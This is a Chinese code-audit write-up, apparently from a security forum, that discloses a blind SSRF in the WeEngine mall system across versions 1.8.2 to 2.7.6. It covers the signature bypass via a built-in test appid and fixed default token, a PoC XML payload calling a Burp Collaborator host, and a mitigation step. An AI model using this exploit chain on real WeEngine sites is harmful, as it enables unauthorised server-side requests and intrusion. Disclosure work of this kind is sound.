微擎最新版前台某处无回显SSRF漏洞 0x0 前言  代码审计之某通用商城系统getshell过程,续之前这篇文章v1…
微擎最新版前台某处无回显SSRF漏洞
0x0 前言
代码审计之某通用商城系统getshell过程,续之前这篇文章v1.8.2版本,这次分享一个最新版v2.7.6 相对来说比较鸡肋的无回显SSRF,漏洞不是最主要的,主要是分享下自己的审计过程。
写文章还有补天的粽子领就很开心。
0x1 影响版本
经过测试应该是通杀到最新版的,不过不同版本利用方式有些不同,下面将从v1.8.2版本开始分析然后过渡到v2.7.6版本,来构造出对应的POC。
0x2 漏洞点
v1.8.2版本系统安装目录下的根目录文件: api.php
662 line:analyzeImage
函数,直接将$message['picurl']
传入ihttp_get
函数,结合前篇我们文章的分析,这个函数是采用了curl
请求并设置跟随的,如果我们可控$message['picurl']
那么这里就会是一个支持任意协议,但是没回显的SSRF。
这个漏洞可玩性与UEditor SSRF差不多,不过这个属于Blind类型的。
我们看一下,$message
是否可控
可以看到在start
函数里面获取了POST的内容然后进入$this->account->parse
函数进行解析
251 line: 位于/f ramework/class/account/account.class.php
的parse
函数
public function parse($message) {
global $_W;
if (!empty($message)){
//解析内容
$message = x ml2array($message);
$packet = iarray_change_key_case($message, CASE_LOWER);
$packet['from'] = $message['FromUserName'];
$packet['to'] = $message['ToUserName'];
$packet['time'] = $message['CreateTime'];
$packet['type'] = $message['MsgType'];
$packet['event'] = $message['Event'];
switch ($packet['type']) {
case 'text':
$packet['redirection'] = false;
$packet['source'] = null;
break;
case 'image':
# 这里直接赋值PicUrl
$packet['url'] = $message['PicUrl'];
break;
....
return $packet;
}
跟进x ml2array
,很简单就是解析x ml格式的内容,微擎官方文档消息概述里面就给出了使用案例。
到这里就可以确定$message['picurl']
是直接从POST的数据包中提取然后没有任何过滤进入到ihttp_get
函数的,从而造成了SSRF漏洞的。
下面就是如何进行漏洞的触发。
0x3 触发漏洞
当我们访问http://localhost:8887/wq2/wq2/api.php
,要确保能走进漏洞函数,首先就要先进入到start()
函数。
这里需要绕过前面判断,其实也很简单。
if(!empty($_GPC['appid'])) {
$appid = ltrim($_GPC['appid'], '/');
if ($appid == 'wx570bc396a51b8ff8') {
$_W['account'] = array(
'type' => '3',
'key' => 'wx570bc396a51b8ff8',
'level' => 4,
'token' => 'platformtestaccount'
);
} else {
$id = pdo_fetchcolumn("SELECT acid FROM " . tablename('account_wechats') . " WHERE `key` = :appid", array(':appid' => $appid));
}
}
我们通过传入api.php?appid=wx570bc396a51b8ff8
,便能成功构造出一个$_W['account']
出来,绕过上面所说即如下的两个非空判断。
if(empty($_W['account'])) {
exit('initial error hash or id');
}
if(empty($_W['account']['token'])) {
exit('initial missing token');
}
继续向下走,还需要绕过$this->account->checkSign()
,继续跟进:
可以看到,这个Sign其实是固定的,所需要的3个信息分别为$token, $_GET['timestamp'], $_GET['nonce']
,这里$token
就是上面程序预留的信息值为:platformtestaccount
,其他两个不传入留空值即可。
29 line:framework/class/account/weixin.account.class.php
的checkSign
函数
那么我们只要传入signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a
即可绕过checkSign
函数。
然后回到api.php
继续向下执行,182 line,对$message
进行分析,跟进该函数。
$pars = $this->analyze($message);
最终就会进入我们上述漏洞点analyzeImage
函数,造成SSRF。
0x4 POC 验证
可以看到构造如下格式,便可成功触发。
<x ml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>12345678</CreateTime>
<MsgType><![CDATA[image]]></MsgType>
<picurl><![CDATA[http://ssrf.l3pekm70n3nb5y4hhtmopdlphgn9by.burpcollaborator.net/]]></picurl>
</x ml>
0x5 出现问题
我简单看了一下Gitee上该系统的最新版2.7.6的代码api.php,发现漏洞点还是存在的。
但是我在网上找了几个最新版的站打了下,发现并没有成功。
尝试删减一些参数,可以得到原因是没进入start
函数就结束了,通过debug发现问题主要是在
在初始化$this->account = WeAccount::create($_W['account']);
时会调用到这个getAccountInfo
函数,这里对内置的测试用户做了个判断,导致进入了$this->openPlatformTestCase();
而这个函数最终都是走入了exit()
,所以这里我们不能使用这个账户。
protected function getAccountInfo($uniacid) {
//针对测试用户做了判断,$this->openPlatformTestCase();
if ('wx570bc396a51b8ff8' == $this->account['key']) {
$this->account['key'] = $this->appid;
$this->openPlatformTestCase();
}
$account = table('account_wechats')->getAccount($uniacid);
$account['encrypt_key'] = $this->appid;
return $account;
}
0x6 解决问题
回到api.php
可以看到除了测试用户,我们也可以通过传入$id
来获取account,跟进uni_fetch
函数。
查询account获取id=1的信息
继续跟下去,最终你会发现token其实存储在了ims_core_cache表中,并且只有唯一一个,这个Token值是固定的。
这个信息是从
/data/db.php
获取的,也就是初始化的默认数据,刚好这个值不是随机生成的,所有版本都是一样的。
相关调用栈如下:
所以我们只要重新获取一下signature就行了,即如下
0x7 新POC
0x8 总结
本文回顾了以前的文章,在此基础上对新版本进行类似漏洞的挖掘,遇到了版本差异导致的问题,尝试解决的时候,发现了关键的检验参数Token存在默认值,导致可以直接构造,完成了利用。最后,关于临时修复方案,账户是可以在后台进行删除的,步骤分别是"所有平台"->放入回收站->彻底删除,这样就可以避免猜测到Token值。
- 本文作者: xq17
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/179
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!